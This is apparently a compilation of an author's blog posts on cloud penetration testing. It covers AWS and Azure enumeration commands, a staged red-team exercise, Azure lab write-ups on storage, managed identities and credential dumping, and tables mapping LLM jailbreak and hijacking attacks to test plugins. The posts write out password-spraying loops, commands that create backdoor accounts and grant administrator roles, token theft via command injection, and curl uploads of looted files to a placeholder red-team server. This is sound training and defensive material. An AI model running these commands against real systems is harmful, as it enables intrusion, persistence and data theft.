Module	Purpose	Command
`iam__enum_users`	Enumerate IAM users	`run iam__enum_users`
`iam__enum_roles`	Enumerate IAM roles	`run iam__enum_roles`
`iam__assume_role`	Assume IAM roles	`run iam__assume_role`
`ec2__enum`	Enumerate EC2 resources	`run ec2__enum`
`lambda__enum`	Enumerate Lambda functions	`run lambda__enum`
`s3__enum`	Enumerate S3 buckets	`run s3__enum`
`cloudtrail__enum`	Enumerate CloudTrail	`run cloudtrail__enum`
`guardduty__enum`	Check GuardDuty status	`run guardduty__enum`

9.3 Useful AWS CLI One-Liners

# List all S3 buckets
aws s3 ls | awk '{print $2}'

# Find public S3 buckets
aws s3api list-buckets --query 'Buckets[].Name' | \
  xargs -I {} aws s3api get-bucket-acl --bucket {} --query 'ACL[?Grantee.URI==`http://acs.amazonaws.com/groups/global/AllUsers`]'

# List all EC2 instances
aws ec2 describe-instances --query 'Reservations[].Instances[].[InstanceId,InstanceType,State.Name]' --output table

# Find instances with public IP
aws ec2 describe-instances --query 'Reservations[].Instances[?PublicIpAddress!=`null`].[InstanceId,PublicIpAddress]'

# List all Lambda functions
aws lambda list-functions --query 'Functions[].[FunctionName,Runtime,Handler]' --output table

# Check MFA status for all users
aws iam list-users --query 'Users[].UserName' | \
  xargs -I {} aws iam list-mfa-devices --user-name {} --query 'MFADevices[0].SerialNumber'

# Find roles trust relationship
aws iam list-roles --query 'Roles[].RoleName' | \
  xargs -I {} aws iam get-role --role-name {} --query 'Role.AssumeRolePolicyDocument'

9.4 Emergency Response Checklist

Immediate Actions

[ ] Rotate all AWS access keys
[ ] Delete suspicious IAM users/roles
[ ] Enable CloudTrail in all regions
[ ] Enable GuardDuty
[ ] Review CloudTrail logs for suspicious activity
[ ] Check for unauthorized S3 bucket policies
[ ] Review EC2 instances for backdoors
[ ] Check Lambda functions for malicious code
[ ] Review IAM trust relationships
[ ] Check for cross-account access grants

Post-Incident

[ ] Document all findings
[ ] Update security policies
[ ] Implement missing controls
[ ] Conduct lessons learned session
[ ] Update incident response plan
[ ] Schedule follow-up assessment

Two Frameworks, One Mission: Rethinking Web Security Testing in the AI Era

Eng Soon Cheah — Tue, 03 Mar 2026 02:15:08 +0000

Red Team Frameworks and Plugins

XBOW Benchmark vs OWASP WSTG

A Framework Comparison for AI-Augmented Penetration Testing

Purpose & Scope
Core Dimensions Compared
Vulnerability Coverage Overlap
XBOW Category Exploit Rates
OWASP WSTG Category Overview
How They Complement Each Other
The Fundamental Tension

1. Purpose & Scope

XBOW Benchmark is an evaluation framework — it measures how well an AI hacking agent can autonomously find and exploit vulnerabilities. It answers:

"How capable is this tool?"

It is empirical, binary, and time-bound.

OWASP WSTG is a testing methodology — it defines what a thorough web application pentest should cover. It answers:

"What should be tested, and how?"

It is prescriptive, comprehensive, and human-authored.

They operate at different layers: XBOW grades the agent, WSTG governs the engagement.

2. Core Dimensions Compared

Dimension	XBOW Benchmark	OWASP WSTG
Primary audience	AI/tool developers, red teams evaluating agents	Pentesters, security engineers, auditors
Output	Exploit rate, time-to-exploit score	Test checklist, finding evidence, remediation guidance
Pass/fail model	Binary — working PoC or nothing	Tiered — finding severity + evidence quality
Scope	Web vulns: SQLi, XSS, IDOR, SSRF, SSTI, auth bypass	90+ test cases across 12 categories incl. cryptography, business logic, client-side
Business logic coverage	Minimal — pattern-matching exploits only	Extensive — OTG-BUSLOGIC is a full category
Maintenance	Continuous, benchmark evolves with agent capability	Versioned releases (currently v4.2); slower update cycle
Reproducibility	High — isolated Docker environments, deterministic flags	Moderate — results depend heavily on tester skill
Evidence standard	Flag capture proves exploitation	Requires PoC + HTTP evidence + impact narrative
Optimised for	Speed and autonomy	Completeness and rigour

3. Vulnerability Coverage Overlap

Both frameworks cover the high-signal web categories — but XBOW tests exploitation depth while WSTG tests coverage breadth.

XBOW stress-tests the categories AI handles best: injection flaws, broken authorisation, SSRF, and information disclosure. WSTG adds the human-dependent domains XBOW leaves out: business logic abuse, complex multi-step auth flows, WebSocket attacks, and cryptographic weaknesses that require contextual reasoning.

Key gap: An agent that scores 80% on XBOW still cannot reliably handle roughly 25–30% of WSTG's total test surface.

XBOW → WSTG Test ID Mapping

SQLi                →  OTG-INPVAL-005, OTG-INPVAL-006
XSS (Reflected)     →  OTG-INPVAL-001, OTG-CLIENT-002
IDOR                →  OTG-AUTHZ-001, OTG-AUTHZ-002
SSRF                →  OTG-INPVAL-019
Auth Bypass         →  OTG-AUTHN-001 through OTG-AUTHN-010
Info Disclosure     →  OTG-INFO, OTG-ERR
SSTI                →  OTG-INPVAL-018

4. XBOW Category Exploit Rates

Current top-agent performance as of early 2026:

Vulnerability Category	Approx. Success Rate	Notes
SQL Injection	~85%	Error-based + blind both covered
IDOR / AuthZ	~80%	Sequential ID assumptions a weak point
Cross-Site Scripting	~70%	Context-aware payload selection required
SSRF	~60%	Redirect handling can block agents
Auth Bypass	~45%	JWT alg:none, default creds viable; SSO chains not
Business Logic	~15%	Pattern-matching fails; requires intent reasoning

5. OWASP WSTG Category Overview

Category	Code	AI Viability	Notes
Information Gathering	OTG-INFO	✅ High	Mechanical, high-volume — ideal for agents
Configuration & Deployment	OTG-CONF	✅ High	HTTP methods, cloud storage checks
Identity Management	OTG-IDENT	🔶 Medium	Account enumeration viable; lockout logic varies
Authentication	OTG-AUTHN	🔶 Medium	Default creds yes; MFA/SSO chains require humans
Authorisation	OTG-AUTHZ	✅ High	IDOR and privilege escalation well-covered
Session Management	OTG-SESS	✅ High	Cookie attributes, CSRF, fixation
Input Validation	OTG-INPVAL	✅ High	SQLi, XSS, SSRF, XXE, SSTI
Error Handling	OTG-ERR	✅ High	Stack traces, verbose errors
Cryptography	OTG-CRYPT	🔶 Medium	Weak ciphers detectable; nuanced analysis requires humans
Business Logic	OTG-BUSLOGIC	❌ Low	Human domain — requires understanding of intent
Client-Side Testing	OTG-CLIENT	🔶 Medium	DOM XSS viable; clickjacking context-dependent
API Testing	OTG-API	✅ High	GraphQL introspection, mass assignment well-covered

6. How They Complement Each Other

The two frameworks are most powerful when used together rather than as alternatives.

XBOW as a Pre-Engagement Calibration Tool

Before deploying an AI agent on a live engagement, run it against the benchmark to understand where it is reliable and where it is not. Do not trust it on auth bypass if its XBOW score in that category is below 50%.

WSTG as the Engagement Contract

Structure pentest scope, evidence packs, and the final report against WSTG test IDs. This gives clients an auditable methodology regardless of whether findings were surfaced by an agent or a human.

Recommended Handoff Points

AI Agent handles autonomously	Human pentester handles
OTG-INPVAL (injection flaws)	OTG-BUSLOGIC (all tests)
OTG-AUTHZ (IDOR, privilege escalation)	OTG-AUTHN (SSO, MFA, OAuth chains)
OTG-INFO (recon and fingerprinting)	Any finding requiring understanding of intended app behaviour
OTG-ERR (error disclosure)	CVSS scoring and impact narrative
OTG-API (GraphQL, mass assignment)	Client communication and triage of false positives

7. The Fundamental Tension

XBOW optimises for speed and autonomy — it rewards an agent that finds a working SQLi in 90 seconds.

WSTG optimises for completeness and rigour — it rewards a tester who documents every negative result alongside every finding.

These goals can conflict:

An AI agent chasing high XBOW scores may skip the slow, methodical negative-confirmation work that WSTG requires.
A pentest report that covers only the things the agent could exploit autonomously is not a WSTG-compliant report — it is an automated scanner output.

The Core Distinction


XBOW Benchmark	Tells you what AI can do offensively
OWASP WSTG	Tells you what a pentest must cover professionally

Both are necessary. Neither is sufficient alone.

Promptfoo Frameworks and Plugins + Strategies

Eng Soon Cheah — Wed, 28 Jan 2026 13:46:29 +0000

Red Team Frameworks and Plugins

OWASP LLM Top 10

OWASP ID	Risk Description	Promptfoo Plugin(s)	Test Evidence Produced
LLM01	Prompt Injection	`jailbreak`, `jailbreak:meta`, `jailbreak:composite`, `hijacking`	Model response showing instruction override, system prompt leakage, or refusal
LLM02	Data Leakage	`pii:direct`, `pii:session`, `pii:api-db`, `harmful:privacy`	PII exposure in output, session recall, cross-request leakage
LLM03	Training Data Poisoning	`hallucination`, `misinformation-disinformation`	Fabricated facts, invented citations, false confidence indicators
LLM04	Model Denial of Service	`excessive-agency`, `unsafe-practices`	Over-long responses, infinite loops, tool-call amplification
LLM05	Supply Chain Vulnerabilities	`contracts`, `excessive-agency`	Unauthorized commitments, third-party invocation attempts
LLM06	Sensitive Information Disclosure	`harmful:privacy`, `pii:*`	Disclosure of secrets, credentials, or inferred private data
LLM07	Insecure Plugin Design	`excessive-agency`, `hijacking`	Tool misuse, privilege escalation attempts
LLM08	Excessive Agency	`excessive-agency`	Actions taken without user consent or scope
LLM09	Overreliance on LLM Output	`specialized-advice`	Unqualified legal/medical/financial advice
LLM10	Model Bias	`bias:*`	Differential or discriminatory responses

OWASP GenAI Red Team

Category	Attack Class	Promptfoo Plugin(s)	Test Evidence Produced
Jailbreaks	Instruction Override	`jailbreak:*`	Successful guardrail bypass or refusal
Role Manipulation	Authority Escalation	`hijacking`	System persona override
Persuasion	Coercion / Social Engineering	`pii:social`, `contracts`	Manipulated disclosure or agreement
Fabrication	Hallucination	`hallucination`	False outputs with high confidence
Boundary Violations	Scope Expansion	`excessive-agency`	Unauthorized actions or suggestions
Safety Evasion	Policy Circumvention	`harmful:*`	Unsafe content generation attempts

OWASP API Top 10 (GenAI-Relevant)

API Risk	Description	Promptfoo Plugin(s)	Test Evidence Produced
API01	Broken Object Level Authorization	`pii:api-db`	Cross-tenant or object data access
API02	Broken Authentication	`hijacking`, `excessive-agency`	Identity confusion or impersonation
API03	Excessive Data Exposure	`pii:direct`, `harmful:privacy`	Over-verbose or sensitive fields leaked
API04	Resource Exhaustion	`excessive-agency`	Token abuse, looping calls
API06	Mass Assignment	`contracts`, `excessive-agency`	Unauthorized parameter acceptance
API09	Improper Inventory Management	`hallucination`	References to non-existent APIs
API10	Unsafe Consumption of APIs	`unsafe-practices`	Trusting malicious upstream inputs

OWASP Top 10 for Agentic Applications

Agentic Risk	Description	Promptfoo Plugin(s)	Test Evidence Produced
A01	Excessive Autonomy	`excessive-agency`	Agent performs actions without approval
A02	Tool Misuse	`hijacking`	Tool invocation outside intent
A03	Goal Manipulation	`jailbreak:*`	Agent goal redefinition
A04	Unauthorized Commitments	`contracts`	Legal or financial commitments
A05	Unsafe Planning	`unsafe-practices`	Hazardous multi-step plans
A06	Unqualified Advice	`specialized-advice`	Professional advice without disclaimers
A07	Memory Poisoning	`pii:session`	Persistent unsafe memory
A08	Privacy Violations	`harmful:privacy`, `pii:*`	Personal data exposure
A09	Trust Boundary Failure	`excessive-agency`, `hijacking`	Cross-role privilege abuse
A10	Hallucinated Actions	`hallucination`	Invented tools or outcomes

Red Team Strategies

Category	Strategies
Static / Encoding	`basic`, `base64`, `hex`, `homoglyph`, `camelcase`, `emoji-smuggling`, `audio-encoding`, `image-encoding`
Dynamic / Agent	`likert`, `math`, `meta-agent`, `tree`
Multi‑turn	`crescendo`, `goat`, `hydra`, `mischievous-user`
Regression / Layered	`retry`, `layer`

From Recon to Exfiltration: A Step-by-Step Red Team Exercise in Azure and AWS

Eng Soon Cheah — Mon, 11 Aug 2025 07:12:55 +0000

This will cover:

Preparation & Scope
Step-by-Step Attack Simulation (per cloud)
Tools & Command Examples
Detection & Response Checks

1. Preparation & Scope

Environment

Azure: Create a separate tenant/subscription for testing; deploy dummy resources (VMs, Storage Accounts, Function Apps, SharePoint) with seeded dummy data.
AWS: Use a sandbox account (or AWS Organizations member account with no production trust) and deploy S3 buckets, EC2 instances, Lambda functions, IAM roles, and users with varying privilege levels.

Rules of Engagement

No real destructive changes to production
No real credentials outside the lab
Simulated payloads only (no actual malware)
All actions logged for review

2. Step-by-Step Red Team Exercise

Azure Exercise

Phase 1 – Reconnaissance

Objective: Map Azure AD and resource landscape

T1087.004 – Cloud Account Discovery

# List all Azure AD users
az ad user list --query '[].{displayName:displayName,userPrincipalName:userPrincipalName}'

T1526 – Cloud Service Discovery

# List all available subscriptions
az account list --output table

Enumerate public storage accounts (simulated using test accounts)

az storage account list --query '[?allowBlobPublicAccess==`true`].{name:name,resourceGroup:resourceGroup}'

Phase 2 – Initial Access

T1110.003 – Password Spraying (Safe Simulation)

for user in $(cat users.txt); do
  az login -u $user -p 'Winter2025!' --allow-no-subscriptions
done

T1078 – Valid Accounts (Simulated Stolen Token)

export AZURE_ACCESS_TOKEN="eyJhbGciOi..."
az rest --method get --url https://graph.microsoft.com/v1.0/me --headers "Authorization=Bearer $AZURE_ACCESS_TOKEN"

Phase 3 – Privilege Escalation

T1098.001 – Additional Cloud Credentials

az ad sp create-for-rbac --name "backdoor-sp" --role Contributor

T1098.003 – Role Assignment Exploitation

az role assignment create --assignee <SP_ID> --role Owner --scope /subscriptions/<SUB_ID>

Phase 4 – Persistence

T1136.003 – Cloud Account Creation (Create long-lived backdoor SP)
Add OAuth app with overprivileged Graph permissions (simulated consent phishing)

Phase 5 – Lateral Movement

T1530 – Data from Cloud Storage

az storage blob list --container-name mycontainer --account-name mystorageaccount

Cross-subscription enumeration

az role assignment list --all

Phase 6 – Exfiltration

T1041 – Exfiltration Over HTTPS (Simulated)

curl -X POST -F "file=@dummydata.zip" https://<redteam-server>/upload

Phase 7 – Cleanup

Remove SPs, roles, and OAuth apps created in lab

az ad sp delete --id <SP_ID>

AWS Exercise

Phase 1 – Reconnaissance

T1087.004 – Cloud Account Discovery

aws iam list-users

T1538 – Cloud Infrastructure Discovery

aws ec2 describe-instances
aws s3 ls

Phase 2 – Initial Access

T1078 – Valid Accounts (Simulated Compromised Keys)

export AWS_ACCESS_KEY_ID="AKIA..."
export AWS_SECRET_ACCESS_KEY="secret..."
aws sts get-caller-identity

T1526 – Cloud Service Discovery

aws lambda list-functions

Phase 3 – Privilege Escalation

T1098.004 – Additional Cloud Roles

aws iam attach-user-policy --user-name testuser --policy-arn arn:aws:iam::aws:policy/AdministratorAccess

T1078.004 – PassRole Abuse

aws iam pass-role --role-name HighPrivilegeRole --role-session-name attack-session

Phase 4 – Persistence

T1136.003 – Cloud Account Creation

aws iam create-user --user-name backdoor
aws iam create-access-key --user-name backdoor

Phase 5 – Lateral Movement

Cross-account role enumeration:

aws sts assume-role --role-arn arn:aws:iam::<account-id>:role/CrossAccountRole --role-session-name attacker

S3 sensitive file search:

aws s3 sync s3://target-bucket ./loot --exclude "*" --include "*.csv"

Phase 6 – Exfiltration

T1041 – HTTPS Transfer (Simulated)

curl -F "file=@loot.zip" https://<redteam-server>/upload

Phase 7 – Cleanup

Remove IAM users, roles, and policies created during test

aws iam delete-user --user-name backdoor

3. Tools to Use

Azure:
- AzureHound
- Stormspotter
- Atomic Red Team (Cloud tests)
AWS:
- Pacu
- ScoutSuite / Prowler
- Atomic Red Team AWS TTPs

4. Detection & Response Checks

Azure: Ensure Microsoft Defender for Cloud and Sentinel trigger alerts for:
- Unusual sign-ins
- New Service Principals
- Role assignment changes
AWS: Ensure GuardDuty and Security Hub trigger alerts for:
- New IAM user creation
- Cross-account role assumption
- S3 bucket data access anomalies

Nuclei Azure Template

Eng Soon Cheah — Tue, 18 Mar 2025 11:14:34 +0000

To run Azure-specific Nuclei templates, you need to configure your Azure credentials so that Nuclei can authenticate and interact with the Azure environment. Here’s how you can set up Azure credentials on Windows:

✅ 1. Install Azure CLI

Download the Azure CLI installer for Windows from https://aka.ms/installazurecliwindows.
Install it by running the .msi file.

✅ 2. Sign in to Azure

Open Command Prompt or PowerShell and sign in to Azure:

az login

This will open a browser window for you to sign in with your Azure credentials.

✅ 3. Verify Your Azure Subscription

Check your active Azure subscriptions:

az account list --output table

Set the active subscription if you have more than one:

az account set --subscription "SUBSCRIPTION_ID"

✅ 4. Create a Service Principal (Optional)

If you want to use a Service Principal instead of your login session:

Step 1: Create a Service Principal:

az ad sp create-for-rbac --name "nuclei-scan" --role "Contributor"

Output will be like:

{
  "appId": "xxxxxxxx-xxxx-xxxx-xxxx-xxxxxxxxxxxx",
  "displayName": "nuclei-scan",
  "password": "xxxxxxxx-xxxx-xxxx-xxxx-xxxxxxxxxxxx",
  "tenant": "xxxxxxxx-xxxx-xxxx-xxxx-xxxxxxxxxxxx"
}

Step 2: Export Service Principal Credentials:

Set the following environment variables:

$env:AZURE_CLIENT_ID="xxxxxxxx-xxxx-xxxx-xxxx-xxxxxxxxxxxx"
$env:AZURE_CLIENT_SECRET="xxxxxxxx-xxxx-xxxx-xxxx-xxxxxxxxxxxx"
$env:AZURE_TENANT_ID="xxxxxxxx-xxxx-xxxx-xxxx-xxxxxxxxxxxx"

For permanent setup, add these to your Windows environment variables:

Go to Control Panel → System → Advanced system settings → Environment Variables
Create the following variables under System Variables:
- AZURE_CLIENT_ID
- AZURE_CLIENT_SECRET
- AZURE_TENANT_ID
Restart your terminal for the changes to take effect.

✅ 5. Test Azure Authentication

To confirm your credentials are working:

az account show

If successful, it will display your active Azure subscription details.

✅ 6. Run Nuclei with Azure Templates

Now that credentials are configured, run the Azure templates:

nuclei -t C:\Users\<YourUsername>\nuclei-templates\cloud\azure\ -l targets.txt -v

✅ Example: Run a Specific Azure Template

Example to check for weak authentication in ARM templates:

nuclei -t C:\Users\<YourUsername>\nuclei-templates\cloud\azure\azure-arm-template-should-include-strong-authentication.yaml -u https://example.com

🔎 Additional Tips:

Use Elevated Permissions – Ensure you are running the terminal as Administrator.
Rotate Service Principal Credentials – For long-term use, rotate your AZURE_CLIENT_SECRET regularly.
Use Multiple Subscriptions – If you want to scan across multiple subscriptions, switch context using:

az account set --subscription "SUBSCRIPTION_ID"

Soft Deleted Blobs

Eng Soon Cheah — Sun, 08 May 2022 00:42:57 +0000

Original Research: 0xPwN Blog - Create an Azure Vulnerable Lab: Part #3 – Soft Deleted Blobs

In this tutorial we will see how data that has been deleted from a private Storage Account Container can still be a risk in some cases. Even if we know the full path of resources uploaded to a private container, Azure requires authentication to be accessed. To provide access we can choose between:

A shared access signature (SAS) – is a URI that grants restricted access to an Azure Storage container. Use it when you want to grant access to storage account resources for a specific time range without sharing your storage account key.
A connection string includes the authorization information required for your application to access data in an Azure Storage account at runtime using Shared Key authorization.
Managed Identities

For the sake of this tutorial, we will pretend to be a developer that uses the connection string and saves it in a config file/source code deployed to Azure. Additionally, the web application deployed has a command injection vulnerability.
We can find the connection string of a Storage Account in the Azure portal as shown below:

Now, the problem here is that we are giving access to the whole storage account by passing the connection string into the web app. Azure supports granular access for specific containers, for a limited amount of time, or event for a specific file within the container! But for convenience (or lack of knowledge), a developer might deploy the connection string for the entire storage account. Don’t be that developer.

The second part of this tutorial is about recovering deleted blobs. By default, when creating a storage container using the Portal, the Soft Deletion is enabled with 7 days retention time. Now image that you got access to a storage account with tens of containers, and someone at some point mistakenly uploaded an SSH key to one of these containers and than deleted it without being aware of the 7 day retention day “feature”.

Exploiting Soft Deleted Blobs

Now, to exploit this vulnerability we navigate to the web application vulnerable to command injection and start poking around. Listing the files in the current directory, we can find among other the source code in the app.py:

Listing the contents of this file, we can see there is a connection string stored inside (our placeholder has been replaced at runtime with the actual value of the container):

Inside the Microsoft Azure Container Explorer, we specify that we want to connect to a storage account

And that we want to use a Connection String

And we paste the value of the conn_str variable that we found in the source code, and connect:

On the left side menu, a new storage account should show up. Navigate to the Blob Containers -> images and open it:

At first glance, it seems that nothing of interest is stored here. Remember the flag that we accidentally uploaded? Change the view to Active and soft deleted blobs:

And voila! Right click -> Undelete

Anonymous Blob Access

Eng Soon Cheah — Thu, 05 May 2022 22:54:48 +0000

Original Research: 0xPwN Blog - Create an Azure Vulnerable Lab: Part #1 – Anonymous Blob Access

"Storage Accounts" is the service provided by Azure to store data in the cloud. A storage account can used to store:

Blobs
File shares
Tables
Queues
VM disks

For this tutorial, we will focus on the Blobs section. Blobs are stored within a container, and we can have multiple containers within a storage account. When we create a container, Azure will ask on the permissions that we grant for public access. We can chose between:

Private Access – no anonymous access is allowed
Blob Access – we can access the blobs anonymously, as long as we know the full URL (container name + blob name)
Container Access – we can access the blobs anonymously, as long we know the container name (directory listing is enabled, and we can see all the files stored inside the container)

As you might have guessed, granting Container Access permission can be easily abused to download all the files stored within the container without any permissions as the only things required to be known are the storage account name and the container name, both of which can be enumerated with wordlists.

Exploiting Anonymous Blob Access

Now, there are thousands of articles explaining how this can be abused and how to search for insecure storage in Azure, but to make things easier I’ll do a TL:DR. One of the easiest way is to use MicroBurst, provide the storage account name to search for, and it’ll check if the containers exists based on a wordlist saved in the Misc/permutations.txt:

PS > import-module .\MicroBurst.psm1
PS> Invoke-EnumerateAzureBlobs -Base 0xpwnstorageacc
Found Storage Account - 0xpwnstorageacc.blob.core.windows.net
Found Container - 0xpwnstorageacc.blob.core.windows.net/public
Public File Available: https://0xpwnstorageacc.blob.core.windows.net/public/flag.txt

Alternatively adding ?restype=container&comp=list after the container name:

https://<storage_account>.blob.core.windows.net/<container>?restype=container&comp=list

Output:


<EnumerationResults ContainerName="https://0xpwnstorageacc.blob.core.windows.net/public">
    <Blobs>
        <Blob>
            <Name>flag.txt</Name>
            <Url>
https://0xpwnstorageacc.blob.core.windows.net/public/flag.txt
</Url>
            <Properties>
                <Last-Modified>Sat, 05 Mar 2022 18:02:14 GMT</Last-Modified>
                <Etag>0x8D9FED247B7848D</Etag>
                <Content-Length>34</Content-Length>
                <Content-Type>text/plain</Content-Type>
                <Content-Encoding/>
                <Content-Language/>
                <Content-MD5>lur6Yvd173x6Zl1HUGvtag==</Content-MD5>
                <Cache-Control/>
                <BlobType>BlockBlob</BlobType>
                <LeaseStatus>unlocked</LeaseStatus>
            </Properties>
        </Blob>
    </Blobs>
    <NextMarker/>
</EnumerationResults>

Abusing Managed Identities

Eng Soon Cheah — Wed, 04 May 2022 22:57:05 +0000

Original Research: 0xPwN Blog - Create an Azure Vulnerable Lab: Part #4 – Managed Identities

Using Managed Identities it is possible to grant a resource (such as VM/WebApp/Function/etc) access to other resource (such as Vaults/Storage Accounts/etc.) For example, if we want to give our web application access to a private storage account container without having to deal with how we safely store connection strings in config files or source code, we could use a managed identity.

First we enable the managed identity for the web application:

Once enabled, we are given the possibility to configure the roles assigned for this identity (i.e: permissions granted to the service that we enabled the identity for).

Lastly, we assign one or more roles (which is a set of permissions) for that identity. A role can be assigned assigned at Subscription level, Resource group, Storage Account, Vault or SQL and it propagates “downwards” in the Azure architecture layer.

Under each role, we can see in details what permissions are included. Azure allows also to configure custom roles in case the built-in ones are not suitable for your case.

Similarly, to see who has permissions granted for a give resource, we can check that under the Access Control (IAM) -> View access to this resource.

So in our case, we should see under the Storage Account that the web application has Reader and Data Access:

Now that we have the basics of how Managed Identity works, let’s see how can we exploit this. Since the web application has access to the storage account, and we compromised the web application we should be able to get as well access to the storage account. Long story short, we get the same permissions that the resource we compromised had. Based on how poorly the Identity roles are assigned, it can be the case that the permissions are assigned at Subscription level, effectively granting us access to all resources inside it!

While in our case it looks that the permissions are proper (we are limiting access only to the Storage Account that we need access to) and limit the roles to Reader and Data Access (instead of Contributor or Owner), there is still a catch. Our web app needs permissions only to the “images” container, but the managed identity configured has enough permissions to list the access keys to the whole Storage Account granting us access to any other containers hosted on the same account.

Exploiting Azure Managed Identity

Abusing the command injection on the web app, we can make a curl request to the $IDENTITY_ENDPOINT URL stored in the environment variables and get an access token and account id (client id in the response) which can be used to authenticate to Azure.

curl "$IDENTITY_ENDPOINT?resource=https://management.azure.com/&api-version=2017-09-01" -H secret:$IDENTITY_HEADER

Using the Azure Powershell module, we can connect to Azure with the access token:

PS> Install-Module -Name Az -Repository PSGallery -Force
PS> Connect-AzAccount -AccessToken <access_token> -AccountId <client_id>

Once connected, you should see details about the Subscription and Tenant that the Managed Identity we are impersonating has access to. Using the Get-AzResource Azure Powershell cmdlet, we can check which resources inside the subscription we can access:

To list the roles assigned to the managed, we can use the Azure Powershell cmdlet Get-AzRoleAssignment. This cmdlet requires additionally a graph token which we can get from the https://graph.microsoft.com/ endpoint, but also the permission to list roles and permissions for identities which our Identity does not have.

However, we can still try to access the Storage Account keys without these permissions and see if we are successful. For that we will use the Get-AzStorageAccountKey cmdley with the Resource Group Name and Account Name that we found in the previous step.

Get storage account keys:

>Get-AzStorageAccountKey -ResourceGroupName "0xpwnlab" -AccountName "0xpwnstorageacc"

KeyName Value                       Permissions CreationTime
------- -----                       ----------- ----------
key1    L175hccq[...]lH9DJ==        Full 3/12/20...
key2    vcZiPzJp[...]ZkKvA==        Full 3/12/20...

If the command returns two keys, than it means that our identity had permissions to list them. Let’s use these keys in azure storage explorer and see if there are other containers stored on the same account. In the azure storage explorer, we click the connect icon and select storage account or service

On the second step, this time we select the Account name and key option:

For the Account name we use the name that we enumerated in the Get-AzResource step, while for the key we can use either of the two we found:

Once we connect, on the left side menu we should find a new storage account, we 2 containers: the images container used by the web app, but also a new one containing the flag.

And that’s it! We just seen how abusing a command injection into a web app we discovered that it had a managed identity associated to it. After we got the JWT access token, we connected to the Azure Powershell and enumerated the resources that we have access to. The improper permissions set for the managed identity allowed us to read the access key for the whole Storage Account and discover another private container that was not referenced anywhere, containing the flag sensitive information.

Escalating Privileges using a misconfigured service principal

Eng Soon Cheah — Tue, 05 Apr 2022 16:02:01 +0000

Test at your own risk

1.Open a new Powershell session(as an administrator) in your machine. Import the PowerZure module using the following commands.

PS C:\> cd C:\Users\$env:USERNAME\PowerZure
Import-Module .\PowerZure.ps1

You can see that the current user is assigned the Reader role in the subscription. You can also validate this with the Show-AzureCurrentUser function of PowerZure.

2.Let's verify whether the current user is assigned as the owner of a service principal using the following command.

The Get-AzureAppOwner command is one of the function of PowerZure. It recursively looks through each registered application in Azure AD and lists the owners. The output shows that readeruser is assigned ownership of an application called customapp. Ownership allows different permissions on the app, including adding a new secret. While this is not an inherent permission for the Reader role, application ownership rights can be assigned to any account.

3.Add a new secret to customapp to allow us to authenticate with the app using the following command. Remember that we are doing all this as a user that is assigned the Reader role.

Awesome! The new secret was successfully added. This means that we can authenticate as this service principal with the secret that we just set and then explore its permissions. Make a note of the displayed application ID and the tenant ID as we will need both to authenticate as the service principal.

4.Switch to WSL and authenticate as the service principal using the following commands. Replace APP_ID with the application ID that you made a note of in Step 3. Replace TENANT_ID with the tenant ID that you made a note of in Step 3. Press Enter.

You are now logged in as the service principal. Next, we will verify the permissions that this service principal has.

5.Verify the role assignment and scope of the service principal using the following command. Replace APP_ID with the application ID that you made a note of in Step 3.
You can see that this service principal is assigned the Contributor role at the subscription scope. Awesome! We have found a route to a role assignment that gives us more permissions than that of the current user!

While the Reader roles (Global Reader in Azure AD and Reader in Azure RBAC) normally do not have ownership permissions on service principals, remember that member users in an Azure AD tenant have permissions to register applications and they are automatically made the owner of applications that they registered. Also, there are occasional situations where ownership rights are given to users. Since these ownership rights could pop up at any role level, we thought it would be good to address them early on.

One permission that is always available for the Reader role is the ability to connect to and pull images from Azure Container Registry(ACR). These rights don't allow readers to make changes to the images, but it does allow them to review the images.

Reference
https://github.com/PacktPublishing/Penetration-Testing-Azure-for-Ethical-Hackers

Extracting stored passwords and certificates from Automation accounts

Eng Soon Cheah — Mon, 04 Apr 2022 16:38:58 +0000

*Test at your own risk

1.Use the Get-AzPasswords function to perform a dump of credentials for Automation accounts.

Get-AzPassword -AppServices N - StorageAccounts N - Keys N -ACR N -CosmosDB N -Verbose | out-GridView

2.When prompted to select an Azure subscription, select your test Azure subscription and click OK.

3.In the resulting output, you should see credentials that were dumped from the Automation account.

4.Open the current path in File explorer using the following command

explorer .

5.Note that there are now two new files in the directory where the command was run from

6.For POC, run the AuthenticateAs-automation-acct-AzureRunAsConnection.ps1 script to login as the RunAs account.

7.Use the following command to confirm the current user context.

We now have the cleartext credentials from the Automation account and a private certificate that we can use to authenticate as the Run as account. Since the Contributor role is configured for the Run as account by default, this means we will likely have a persistent Contributor account in the subscription.

Additionally, if the Run as account is granted any additional roles beyond the default Contributor role, we may be able to use these credentials to escalate privileges or pivot to other subscription.

While it is less common, we have seen Run as accounts that are give Owner permissions on root management groups. In most cases, this is done to allow the Automation account to automate changes in all of the subscription at once. This allows anyone with Contributor access to that Automation account to inherit the root management group role and take over all of the subscriptions.

Reference
https://github.com/cheahengsoon/Penetration-Testing-Azure-for-Ethical-Hackers

Extracting credentials from App Service

Eng Soon Cheah — Sun, 03 Apr 2022 16:04:25 +0000

*Test at your own risk

1.Use the Get-AzPasswords function to perform a dump of credentials for App Service:

Get-AzPasswords -AutomationAccounts N -StorageAccounts N -Keys N -ACR N -CosmosDB N - Verbose | Out-GridView

2.When prompted to select an Azure subscription, select your test Azure subscription and click OK.

3.In the resulting output, you should see credentials that were dumped from the App service configurations.

Now that we have access to the app service publish profile, we will see how these credentials can be used with the application.

Reference
https://github.com/cheahengsoon/Penetration-Testing-Azure-for-Ethical-Hackers

Exfiltering VM disks using PowerZure

Eng Soon Cheah — Sat, 02 Apr 2022 16:07:46 +0000

Test at your own risk

1.In the PowerShell console, iport the PowerZure module with the following commands.

2.Obtain a list of all unattached VM disks using the following command.

The output of command should return all managed disks that are not currently attached to a running VM and their encryption status. In your output, you should see a disk that has a name starting with winvm02, make a note of the disk name as it will be needed in the next step.

3.In the PowerShell console, use the following command to generate a publicly accessible URL to export the disk identified in the previous step. Replace placeholder with the name of the disk that was identified in the previous step.

Get-AzureVMDisk is a PowerZure Module that exploits the Disk Export feature to generate a link to download a VM's disk. You should get a URL from the command output. Make a note of this URL as it will be needed in the next step.

4.This final step is completely optional. If you want to save time, bandwidth, and disk space here, you can pause the exercise and keep the technique in mind for when you run into disks in future tests. Outside of doing some forensics on the disk to find files and hashes, there is not much for us to do with the disk at this point. If you want to download the disk, open a web browser and browse to the URL that you obtained in the previous step to download the disk from the internet.

At this point, we will have access to the VHD hard drive file for the VM. This can be mounted directly in another VM, and you can parse out sensitive files and the Windows password hashes at this point.

Reference
https://github.com/cheahengsoon/Penetration-Testing-Azure-for-Ethical-Hackers

DEV Community: Eng Soon Cheah

AWS Red Teaming Assessment

